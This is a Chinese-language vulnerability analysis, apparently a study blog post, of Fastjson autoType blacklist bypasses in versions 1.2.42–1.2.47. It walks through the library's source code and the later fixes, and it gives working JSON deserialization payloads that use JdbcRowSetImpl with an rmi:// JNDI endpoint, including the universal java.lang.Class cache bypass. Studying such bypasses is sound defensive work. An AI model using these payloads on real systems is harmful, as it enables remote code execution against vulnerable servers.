0x9DF9341F0C76702L org.springframework.dao.IncorrectResultSizeDataAccessException
0xDB7BFFC197369352L org.springframework.dao.IncorrectUpdateSemanticsDataAccessException
0x73FBA1E41C4C3553L org.springframework.dao.InvalidDataAccessApiUsageException
0x76566C052E83815L org.springframework.dao.InvalidDataAccessResourceUsageException
0x61D10AF54471E5DEL org.springframework.dao.NonTransientDataAccessException
0x82E8E13016B73F9EL org.springframework.dao.NonTransientDataAccessResourceException
0xE794F5F7DCD3AC85L org.springframework.dao.OptimisticLockingFailureException
0x3F64BC3933A6A2DFL org.springframework.dao.PermissionDeniedDataAccessException
0x863D2DD1E82B9ED9L org.springframework.dao.PessimisticLockingFailureException
0x4BB3C59964A2FC50L org.springframework.dao.QueryTimeoutException
0x552D9FB02FFC9DEFL org.springframework.dao.RecoverableDataAccessException
0x21082DFBF63FBCC1L org.springframework.dao.TransientDataAccessException
0x178B0E2DC3AE9FE5L org.springframework.dao.TransientDataAccessResourceException
0x24AE2D07FB5D7497L org.springframework.dao.TypeMismatchDataAccessException
0x90003416F28ACD89L org.springframework.dao.UncategorizedDataAccessException
0x73A0BE903F2BCBF4L org.springframework.jdbc.BadSqlGrammarException
0x7B606F16A261E1E6L org.springframework.jdbc.CannotGetJdbcConnectionException
0xAFCB539973CEA3F7L org.springframework.jdbc.IncorrectResultSetColumnCountException
0x4A39C6C7ACB6AA18L org.springframework.jdbc.InvalidResultSetAccessException
0x9E404E583F254FD4L org.springframework.jdbc.JdbcUpdateAffectedIncorrectNumberOfRowsException
0x34CC8E52316FA0CBL org.springframework.jdbc.LobRetrievalFailureException
0xB5114C70135C4538L org.springframework.jdbc.SQLWarningException
0x7F36112F218143B6L org.springframework.jdbc.UncategorizedSQLException
0x26C5D923AF21E2E1L org.springframework.cache.support.NullValue
0xD11D2A941337A7BCL org.springframework.security.oauth2.common.DefaultExpiringOAuth2RefreshToken
0x4F0C3688E8A18F9FL org.springframework.security.oauth2.common.DefaultOAuth2AccessToken
0xC59AA84D9A94C640L org.springframework.security.oauth2.common.DefaultOAuth2RefreshToken
0x1F10A70EE4065963L org.springframework.util.LinkedMultiValueMap
0x557F642131553498L org.springframework.util.LinkedCaseInsensitiveMap
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x54DC66A59269BAE1L org.springframework.security.web.savedrequest.SavedCookie
0x111D12921C5466DAL org.springframework.security.web.csrf.DefaultCsrfToken
0x19DCAF4ADC37D6D4L org.springframework.security.web.authentication.WebAuthenticationDetails
0x604D6657082C1EE9L org.springframework.security.core.context.SecurityContextImpl
0xF4AA683928027CDAL org.springframework.security.authentication.UsernamePasswordAuthenticationToken
0x92F252C398C02946L org.springframework.security.core.authority.SimpleGrantedAuthority
0x6B949CE6C2FE009L org.springframework.security.core.userdetails.User

绕过

1.2.42解决利用的方法也非常简单粗暴,对于传入的类名,删除开头的L和结尾的;,这种方法显然非常的治标不治本

image-20240403221503172

绕过也非常简单,直接变成LL+类名+;;即可

1.2.43绕过

1.2.43对于1.2.42的修复是当以LL开头时,直接抛出异常

image-20240403222706751

但是注意到原loadClass中不仅对L和;做了处理,对[也做了处理

if (className.charAt(0) == '[') {
  Class<?> componentType = loadClass(className.substring(1), classLoader);
  return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
  String newClassName = className.substring(1, className.length() - 1);
  return loadClass(newClassName, classLoader);
}

因此构造出如下POC:

{"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}

但是会抛出异常说:

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}

就是说希望在第42个位置接收到一个[,但是实际上收到的是一个,,这里实际上是com.sun.rowset.JdbcRowSetImpl",中的这个,

这里就不去探讨背后的原因了,听他的改成[先,但是又报错了:

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

就说希望在43这个位置收到一个{但是实际上是,

这里继续听他的,改为:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}

成功执行。这个Payload很显然对于1.2.25-1.2.43都是适用的

1.2.44中对此漏洞进行了修复,当类名以[开头时直接抛出异常

img

至此,以字符串处理带来的黑名单绕过告一段落。

1.2.25-1.2.47通杀

到了1.2.47出现了通杀以前所有版本的EXP,具体利用条件如下:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

我们以1.2.32版本为例分析利用流程,再来看下checkAutoType的流程:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
//这里tyoeName为类名,expectClass为null
  if (typeName == null) {
    return null;
  }
//类名称长度不能超过256
  if (typeName.length() >= maxTypeNameLength) {
    throw new JSONException("autoType is not support. " + typeName);
  }
//处理内部类
  final String className = typeName.replace('$', '.');
//如果开启了autoTypeSupport会检测当前类名是否在白名单中,而白名单为空,所以这里不会进行任何操作
  if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
      String accept = acceptList[i];
      if (className.startsWith(accept)) {
        return TypeUtils.loadClass(typeName, defaultClassLoader);
      }
    }
    //检查是否位于黑名单(注意这里是位于开启了autoTypeSupport的if语句中的)
    for (int i = 0; i < denyList.length; ++i) {
      String deny = denyList[i];
      if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
      }
    }
  }

//从缓存内容中试图加载clazz
  Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
  if (clazz == null) {
    clazz = deserializers.findClass(typeName);
  }

//如果从缓存中可以加载到类对象并且expectClass为空会直接返回类对象
  if (clazz != null) {
    if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
      throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
  }

//当没有开启autoTypeSupport时,如果位于黑名单抛出异常,如果位于白名单且expectClass不为null则进行类加载并返回类对象
  if (!autoTypeSupport) {
    for (int i = 0; i < denyList.length; ++i) {
      String deny = denyList[i];
      if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
      }
    }
    for (int i = 0; i < acceptList.length; ++i) {
      String accept = acceptList[i];
      if (className.startsWith(accept)) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
          throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
        return clazz;
      }
    }
  }

  //当开启了autoTypeSupport时会完成类加载
  if (autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
  }

//检测是不是ClassLoader和DataSource的子类
  if (clazz != null) {
    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
        || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
       ) {
      throw new JSONException("autoType is not support. " + typeName);
    }
//expectClass不为null且clazz为expectClass子类会返回clazz
    if (expectClass != null) {
      if (expectClass.isAssignableFrom(clazz)) {
        return clazz;
      } else {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
      }
    }
  }

  if (!autoTypeSupport) {
    throw new JSONException("autoType is not support. " + typeName);
  }

  return clazz;
}

可以看到,之前我们进行绕过利用的类加载点为

//当开启了autoTypeSupport时会完成类加载
if (autoTypeSupport || expectClass != null) {
  clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

而其他很多类加载点都是需要位于白名单或者expectClass不为null的(这是我们无法控制的),因此基本上只剩下一个可能的类加载点可以尝试利用:

//从缓存内容中试图加载clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
  clazz = deserializers.findClass(typeName);
}

//如果从缓存中可以加载到类对象并且expectClass为空会直接返回类对象
if (clazz != null) {
  if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
  }

  return clazz;
}

从逻辑不难看出,要是我们可以在第二个if之前成功加载到clazz,那就会直接返回这个clazz了

关键来看下TypeUtils.getClassFromMapping的实现:

public static Class<?> getClassFromMapping(String className) {
  return mappings.get(className);
}

发现是从mapping这个map中取出值,其来源一方面是来自于初始化时代码中内置添加的类(在TypeUtils.addBaseClassMappings中),其次另外的调用点就是在我们之前十分熟悉的TypeUtils.loadClass了,大致原理就是假如我们之前没加载过这个类,那么在加载时就会加载这个类并将其加入缓存中

public static Class<?> loadClass(String className, ClassLoader classLoader) {
  if (className == null || className.length() == 0) {
    return null;
  }

  Class<?> clazz = mappings.get(className);

  if (clazz != null) {
    return clazz;
  }

  if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
  }

  if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
  }

  try {
    if (classLoader != null) {
      clazz = classLoader.loadClass(className);
      mappings.put(className, clazz);

      return clazz;
    }
  } catch (Throwable e) {
    e.printStackTrace();
    // skip
  }

  try {
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

    if (contextClassLoader != null && contextClassLoader != classLoader) {
      clazz = contextClassLoader.loadClass(className);
      mappings.put(className, clazz);

      return clazz;
    }
  } catch (Throwable e) {
    // skip
  }

  try {
    clazz = Class.forName(className);
    mappings.put(className, clazz);

    return clazz;
  } catch (Throwable e) {
    // skip
  }

  return clazz;
}

要是我们有办法在checkAutoType被调用之前找到另外一处调用了loadClass的地方,并且其className我们是可控的,那么在checkAutoType时mappings中就已经存在对应clazz了,就能不经过黑名单检测直接加载并返回相应的类了。

发现MiscCodec的public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)中调用了loadClass

if (clazz == Class.class) {
  return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

MiscCodec其实是一个内置的derializer,我们之前的类反序列化时是由于不满足条件才调用createJavaBeanDeserializer方法创建一个JavaBeanDeserializer,对于一些满足条件的类,反序列化时会调用内置的derializer的deserialze方法,MiscCodec就是这么一个derializer。

很显然,当我们反序列化的类为Class类时,会类加载strVal,也就会往mappings中添加strVal对应的类,若是strVal可控便大功告成了。

Object objVal;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
  parser.resolveStatus = DefaultJSONParser.NONE;
  parser.accept(JSONToken.COMMA);

  if (lexer.token() == JSONToken.LITERAL_STRING) {
    if (!"val".equals(lexer.stringVal())) {
      throw new JSONException("syntax error");
    }
    lexer.nextToken();
  } else {
    throw new JSONException("syntax error");
  }

  parser.accept(JSONToken.COLON);

  objVal = parser.parse();

  parser.accept(JSONToken.RBRACE);
} else {
  objVal = parser.parse();
}

String strVal;

if (objVal == null) {
  strVal = null;
} else if (objVal instanceof String) {
  strVal = (String) objVal;
}

可以看到是解析val对应的值作为objVal,再将objVal强转为字符串确定的,由此有最终POC:

String s =  "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/testobj\",\"autoCommit\":true}}";

值得注意的是这里反倒不能开启autoTypeSupport,因为开启的话会在判断是否位于mappings之前检测是否位于黑名单中,在不使用如加L[等绕过方式的前提下是过不去黑名单检测的。

那为什么1.2.33版本及以后可以无视是否开启autoTypeSupport执行命令呢?来对比下1.2.32和1.2.33的黑名单校验方式:

//1.2.32
if (autoTypeSupport || expectClass != null) {
  for (int i = 0; i < acceptList.length; ++i) {
    String accept = acceptList[i];
    if (className.startsWith(accept)) {
      return TypeUtils.loadClass(typeName, defaultClassLoader);
    }
  }
  //检查是否位于黑名单(注意这里是位于开启了autoTypeSupport的if语句中的)
  for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny)) {
      throw new JSONException("autoType is not support. " + typeName);
    }
  }
}

//1.2.33
if (autoTypeSupport || expectClass != null) {
  for (int i = 0; i < acceptList.length; ++i) {
    String accept = acceptList[i];
    if (className.startsWith(accept)) {
      return TypeUtils.loadClass(typeName, defaultClassLoader);
    }
  }

  for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
      throw new JSONException("autoType is not support. " + typeName);
    }
  }
}

1.2.33中把抛出异常的条件改为了类名位于黑名单中且不在Mappings中,而我们加载恶意类时已经通过MiscCodec将恶意类缓存到了Mappings中因此不会抛出异常。

对比下1.2.47中和1.2.48中的相关处理就能明白修复方式了:

//1.2.47
if (clazz == Class.class) {
  return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

public static Class<?> loadClass(String className, ClassLoader classLoader) {
  return loadClass(className, classLoader, true);
}

try{
  ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
  if(contextClassLoader != null && contextClassLoader != classLoader){
    clazz = contextClassLoader.loadClass(className);
    if (cache) {
      mappings.put(className, clazz);
    }
    return clazz;
  }
} catch(Throwable e){
  // skip
}

//1.2.48
if (clazz == Class.class) {
  return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}

可以看到在1.2.47版本中MiscCodec对loadClass的调用由于cache使用了默认值true导致可以添加任意类进入Mappings,1.2.48版本中chache参数为false不再被添加进Mappings中。此外,1.2.48版本还直接将Class类添加到黑名单中。后面的话真对fastjson的绕过还有1.2.68的绕过和1.2.8的绕过,这部分就留到以后再进行学习与分析

参考文章

fastjson反序列化漏洞

Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析